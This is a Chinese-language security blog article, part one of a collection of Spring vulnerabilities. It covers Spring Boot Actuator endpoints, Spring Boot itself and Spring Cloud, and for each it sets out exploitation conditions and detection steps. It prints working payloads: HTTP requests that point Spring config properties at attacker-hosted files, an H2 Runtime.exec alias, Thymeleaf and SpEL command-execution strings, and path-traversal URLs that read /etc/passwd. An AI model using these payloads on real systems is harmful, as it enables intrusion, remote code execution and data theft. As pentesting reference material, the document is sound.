spring 漏洞合集 上

admin 2025年2月15日23:16:48评论32 views字数 9933阅读33分6秒阅读模式

spring 漏洞合集 上

前言

现在的 java 开发的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道该从哪里下手。

因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候能够有一个更完整的思路。

这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。

此合集由于内容较多,分为上下两部分。

上半部分内容:

  • Spring Boot Actuator 相关漏洞
  • Sping Boot相关漏洞
  • Spring Cloud相关漏洞

下半部分内容:

  • Spring Data相关漏洞
  • Spring Framework相关漏洞
  • Spring Security相关漏洞
  • Spring WebFlow相关漏洞

本文章内容皆由互联网已公开内容整理而成,且仅用于学习交流使用,禁止用于非法用途!!

Spring Boot Actuator 相关漏洞

主要参考文章了https://github.com/LandGrey/SpringBootVulExploit 这篇文章,重新梳理了文章内容并补充了一些新的内容,公众号不能引入外链,这里记录一下利用条件,具体利用方法访问这篇文章查看

利用条件是目标开启了 springboot 的 Actuator 的相关接口

  • Spring Boot < 1.5 默认未授权访问所有端点
  • Spring Boot >= 1.5 默认只允许访问/health 和/info 端点,但是此安全性通常被应用程序开发人员禁用

Actuator 信息泄漏问题

一、路由地址及接口调用详情泄漏

主要是 swagger 的相关路由,可能泄漏所有的接口及接口参数。

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

二、配置不当泄漏的路由

主要是actuator的相关接口

其中对寻找漏洞比较重要的接口有:

  • /env/actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

  • /refresh/actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

  • /restart/actuator/restart

暴露出此接口的情况较少;可以配合 POST 请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

  • /jolokia/actuator/jolokia

可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

  • /trace/actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。

三、env 中星号脱敏方法

「方法一」

「利用条件」

  • 存在/heapdump

「利用方法」

使用 MAT 直接内存读取,具体可参考 https://landgrey.me/blog/16/

「方法二」

「利用条件」

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置
  • 目标可以请求攻击者的服务器(请求可出外网)

「利用方法」

spring.cloud.bootstrap.location 方法(「同时适用于」明文数据中有特殊 url 字符的情况)

eureka.client.serviceUrl.defaultZone 方法(「不适用于」明文数据中有特殊 url 字符的情况)

「方法三」

「利用条件」

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)
「方法四」

「利用条件」

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)

Actuator env+refresh 造成的命令执行

这部分漏洞利用的大前提条件是存在/env接口和/refresh接口

一、环境属性覆盖命令执行(SnakeYAML RCE)

「影响范围」

  • Spring Boot <= 1.4
  • Spring Boot 1.5.x (Dalston 版本)
  • Spring cloud 版本范围:Spring cloud < 1.3.0.RELEASE

「组件要求」 spring-cloud-starter && spring-boot-starter

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

「验证方式」

验证漏洞是否存在直接使用 dnslog 地址,有 dnslog 请求即可。

步骤一 设置属性

POST /env HTTP/1.1
Host: localhost:61234
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Connection: close

spring.cloud.bootstrap.location=http://springenv.xxxx/yaml-payload.yml

步骤二 刷新配置

POST /refresh HTTP/1.1
Host: localhost:61234
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


步骤三 查看 dnslog 有请求

二、eureka XStream 反序列化

「利用条件」

  • Eureka-Client <1.8.7(多见于 Spring Cloud Netflix)

「漏洞验证」

验证漏洞是否存在与上一个漏洞类似,直接使用 dnslog 地址,有 dnslog 请求即可。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

三、mysql jdbc deserialization RCE

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标环境中存在 mysql-connector-java 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)

「检测方式」

验证方式同上 dnslog 检测即可。

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Actuator env+restart 造成的命令执行

这部分漏洞利用的大前提条件是存在/env接口和/restart接口「restart 可能造成服务重启失败而挂掉」

一、hikari 命令执行(H2 rce)

Spring Boot 2.x 默认使用的 HikariCP 数据库连接池提供了一个可以 RCE 的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与 HikariCP 中的connectionTestQuery配置相匹配。根据文档,此配置定义的是在从池中给出一个连接之前被执行的 query,它的作用是验证数据库连接是否处于活动状态。简言之,无论何时一个恶意的数据库连接被建立时,spring.datasource.hikari.connection-test-query的值将会被作为一个 SQL 语句执行。然后利用 SQL 语句中的用户自定义函数,进行 RCE。

「利用条件」

  • env可以设置属性
  • restart接口可以重启

「影响范围」

  • Spring Boot 2.x

「利用方法」

步骤一 env 设置属性

POST /actuator/env HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 359

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('ping springtest.xxxx');"}

spring 漏洞合集 上

查看 env 发现添加成功

spring 漏洞合集 上

步骤二 重启服务 Content-Type: application/json

POST /actuator/restart HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 0


步骤三 查看 dnslog

spring 漏洞合集 上

二、logback JNDI RCE

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),「否则 restart 会导致程序异常退出」
  • ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
  • ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

三、logging.config groovy RCE

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

四、spring.main.sources groovy RCE

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
  • ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出

五、spring.datasource.data h2 database RCE

「利用条件」

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 环境中需要存在 h2databasespring-boot-starter-data-jpa 相关依赖
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出

Actuator 其他组件接口造成的命令执行

一、jolokia logback JNDI RCE

「利用条件」

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)
  • 访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

二、jolokia Realm JNDI RCE

「利用条件」

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)
  • 访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词
  • 目标可以请求攻击者的服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

三、Actuator Gateway API SpEL 表达式注入命令执行漏洞(CVE-2022-22947)

「利用条件」

  • Spring Cloud Gateway < v3.1.1
  • Spring Cloud Gateway < v3.0.7
  • 需要存在以下接口/actuator/gateway/routes//actuator/gateway/refresh

「利用方法」

见 https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

Springboot漏洞

Whitelabel error page SpEL RCE

2016年爆出的一个漏洞 无cve编号 触发点在SpringBoot的的默认错误页(Whitelabel Error Page

利用条件

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法

步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

参考链接

https://www.cnblogs.com/litlife/p/10183137.html

Spingboot Thymeleaf 模板注入

利用条件

  • 不是默认页面也是可以用的,但是使用dnslog的话会有特征字段
  • 目前没有看到影响范围 可能所有的都有

参考链接

https://xz.aliyun.com/t/9826

https://www.cnpanda.net/sec/1063.html

漏洞环境

https://github.com/veracode-research/spring-view-manipulation/

漏洞利用

一、在查找模板中,引用了用户输入的内容

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return  lang ; //template path is tainted
}

payload:需要url编码

/path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

验证存在的payload
__${1111+2222}__::.x

二、根据spring boot定义

如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

payload

/doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

表达式注入

spring 漏洞合集 上

spring 漏洞合集 上

H2 database console JNDI RCE

利用条件

  • 存在 com.h2database.h2 依赖(版本要求暂未知)
  • spring 配置中启用 h2 console spring.h2.console.enabled=true
  • 目标可以请求攻击者的服务器(请求可出外网)
  • JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)

漏洞利用

会开启 h2 console 的默认路由 /h2-console(就是个jndi注入,jdk满足条件即可)

h2-console页面截图

spring 漏洞合集 上

Spring Cloud漏洞

(CVE-2019-3799)Spring Cloud Config Server 任意文件读取

漏洞影响

  • Spring Cloud Config 2.1.0 to 2.1.1
  • Spring Cloud Config 2.0.0 to 2.0.3
  • Spring Cloud Config 1.4.0 to 1.4.5
  • 其他不受支持的老版本 (如Spring Cloud Config1.3及其以下版本)

漏洞复现

配置文件如下

spring 漏洞合集 上

{name}/{profile}/{label}:name对应仓库名,profile对应配置文件,label为git分支名

poc不需要知道{name}/{profile}随便填写即可,但是{label}必须是存在的,master分支一般情况下都会有,所以poc可为

/1/1/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

spring 漏洞合集 上

(CVE-2020-5405)Spring Cloud Config Server 任意文件读取

漏洞影响

  • Spring Cloud Config Server 2.2.0-2.2.1
  • Spring Cloud Config Server 2.1.0-2.1.6

poc

https://localhost:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)etc/passwd

url编码
https://localhost:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29etc/passwd
spring 漏洞合集 上

参考链接

https://xz.aliyun.com/t/8303

(CVE-2020-5410)Spring Cloud Config Server 任意文件读取

漏洞影响

  • 2.2.3之前的2.2.x版本
  • 2.1.9之前的2.1.x版本

漏洞利用

http://localhost:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%231/1

spring 漏洞合集 上

(CVE-2020-5412)Spring Cloud Netflix Hystrix Dashboard ssrf

Spring Cloud Netflix

spring 漏洞合集 上

漏洞影响

  • Spring Cloud < v2.2.4
  • Spring Cloud < v2.1.6

漏洞利用

http://localhost:8888/proxy.stream?origin=http://www.baidu.com

spring 漏洞合集 上

(CVE-2022-22947)Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞

已在actuator提到过 具体利用见 https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

(CVE-2022-22963) Spring Cloud Function SpEL Code Injection

影响范围

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

测试环境

本地搭建

漏洞复现

header添加这个即可

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping 333.xxx.com")

spring 漏洞合集 上

spring 漏洞合集 上

参考链接

vulhub

https://www.cnblogs.com/9eek/p/16113603.html

整理不易,点个关注吧🙏

spring 漏洞合集 上

往期文章

原文始发于微信公众号(安全小工坊):spring 漏洞合集 上

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:16:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   spring 漏洞合集 上https://cn-sec.com/archives/1017117.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息